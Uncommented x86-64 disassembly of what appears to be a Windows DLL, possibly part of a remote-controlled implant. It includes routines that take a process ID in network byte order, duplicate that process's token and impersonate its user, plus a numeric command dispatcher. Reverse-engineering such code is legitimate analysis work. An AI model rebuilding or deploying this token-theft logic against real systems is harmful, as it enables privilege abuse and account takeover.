mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, qword [0x18004d800]
mov r14d, r8d
movsxd rsi, edx
mov rbp, rcx
mov r15d, 0x100
test rdi, rdi
je 0x18001bb87
mov rbx, qword [0x18004d808]
test rbx, rbx
jne 0x18001bbc2
mov ecx, 0x200
call fcn.180015fec
mov edx, r15d
mov rcx, rax
mov rbx, rax
call fcn.1800161e8
mov edx, r15d
mov rcx, rbx
mov qword [0x18004d800], rax
call fcn.1800161e8
mov rdi, qword [0x18004d800]
mov rbx, rax
mov qword [0x18004d808], rax
test esi, esi
je 0x18001bbfa
cmp esi, r15d
jg 0x18001bbfa
xor edx, edx
mov r8, r15
test r14d, r14d
je 0x18001bbed
mov rcx, rdi
call fcn.18001f530
mov rcx, rdi
mov rdx, rbp
mov r8, rsi
call fcn.18001f920
jmp 0x18001bc14
mov rcx, rbx
call fcn.18001f530
mov rcx, rbx
jmp 0x18001bbe0
mov r8, r15
xor edx, edx
mov rcx, rdi
call fcn.18001f530
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.18001f530
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
push rbx
sub rsp, 0x20
mov rbx, r8
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
lea edx, [r8 + 8]
lea r9, [rsp + 0x48]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x18001db8d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x48]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18001dba6
mov rcx, qword [rsp + 0x48]
mov rdx, rbx
call fcn.18001e15c
mov rcx, qword [rsp + 0x48]
call fcn.18001c754
jmp 0x18001dbd5
cmp qword [0x18004d858], 0
je 0x18001dbcb
call fcn.18001e0fc
mov rcx, qword [0x18004d858]
mov rdx, rbx
call fcn.18001e15c
call fcn.18001e12c
jmp 0x18001dbd5
mov ecx, 1
call fcn.18000e65c
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0xc00
mov r12, r8
mov ebx, edx
call fcn.180015fec
mov r13d, 0x400
mov rcx, rax
mov edx, r13d
mov r14, rax
call fcn.1800161e8
mov edx, r13d
mov rcx, r14
mov r15, rax
call fcn.1800161e8
mov edx, r13d
mov rcx, r14
mov rsi, rax
call fcn.1800161e8
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.180016104
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r15
call fcn.180016284
test eax, eax
je 0x18001dca2
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rsi
call fcn.180016284
test eax, eax
je 0x18001dca2
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.180016284
test eax, eax
je 0x18001dca2
mov r9, r12
mov r8, rbp
mov rdx, rsi
mov rcx, r15
call fcn.18001df50
mov rcx, r14
call fcn.1800160e0
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x230
xor edi, edi
mov r14, r8
mov ebp, edx
and qword [rax + 0x20], rdi
lea eax, [rdx - 4]
mov rsi, rcx
test eax, 0xfffffffb
jne 0x18001deae
mov ecx, dword [rcx]
call sub.WS2_32.dll_ntohl
mov ebx, eax
cmp ebp, 8
jne 0x18001dd62
mov ecx, dword [rsi + 4]
call sub.WS2_32.dll_ntohl
mov edi, eax
call fcn.180015e18
mov r8d, ebx
neg eax
sbb ecx, ecx
xor edx, edx
and ecx, 0xc00
add ecx, 0x400
call fcn.18001cd6c
mov rsi, rax
test rax, rax
jne 0x18001dda1
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rsi + 0x21]
mov r8d, eax
mov edx, ebx
call fcn.18000e59c
jmp 0x18001deae
lea r8, [rsp + 0x268]
mov rcx, rax
test edi, edi
jne 0x18001ddcc
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x18001ddd0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x24
jmp 0x18001dd92
mov edx, edi
jmp 0x18001ddb5
call fcn.18001dcc0
mov rcx, qword [rsp + 0x268]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x18001ddf4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x25
jmp 0x18001dd92
mov rcx, qword [rsp + 0x268]
lea rax, [0x18004d858]
mov r9d, 3
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov edx, 0x2000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x18001de38
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x26
jmp 0x18001dd92
mov rcx, qword [0x18004d858]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x18001de59
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x27
jmp 0x18001dd92
mov rcx, rsi
call fcn.18001c754
mov rcx, qword [rsp + 0x268]
test rcx, rcx
je 0x18001de73
call fcn.18001c754
mov rcx, qword [0x18004d858]
lea rdx, [rsp + 0x30]
mov r8d, 0x200
call fcn.18001e1d8
test eax, eax
je 0x18001deae
lea rax, [rsp + 0x30]
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rax + rdx], 0
jne 0x18001de97
lea rcx, [rsp + 0x30]
mov r8d, reloc.WS2_32.dll_ntohs
call r14
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
cmp qword [0x18004d898], 0
mov rbx, r8
mov edi, edx
mov rsi, rcx
jne 0x18001e3e1
lea rcx, [0x18004d888]
call fcn.18001e8dc
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
call fcn.180016104
lea rcx, [rsp + 0x20]
call fcn.180016114
dec eax
je 0x18001e44e
dec eax
je 0x18001e43f
dec eax
je 0x18001e433
dec eax
je 0x18001e429
dec eax
je 0x18001e422
dec eax
jne 0x18001e45b
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.18001e6d0
jmp 0x18001e45b
call fcn.18001e4c8
jmp 0x18001e45b
mov rcx, rbx
call fcn.18001e4fc
jmp 0x18001e45b
lea rcx, [rsp + 0x20]
call fcn.18001e46c
jmp 0x18001e45b
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.18001e758
jmp 0x18001e45b
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.18001e5b4
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180016104
lea rcx, [rsp + 0x20]
call fcn.18001624c
lea rcx, [rsp + 0x20]
movzx edi, ax
call fcn.180016068
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.1800161e4
mov rdx, rbx
mov r8d, eax
movzx ecx, di
call fcn.18001ee8c
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, 7
call fcn.180023d8c
nop
xor edx, edx
mov rcx, rbx
call fcn.18002ea2c
mov ebx, eax
mov ecx, 7
call fcn.180023f74
mov eax, ebx
add rsp, 0x20
pop rbx
ret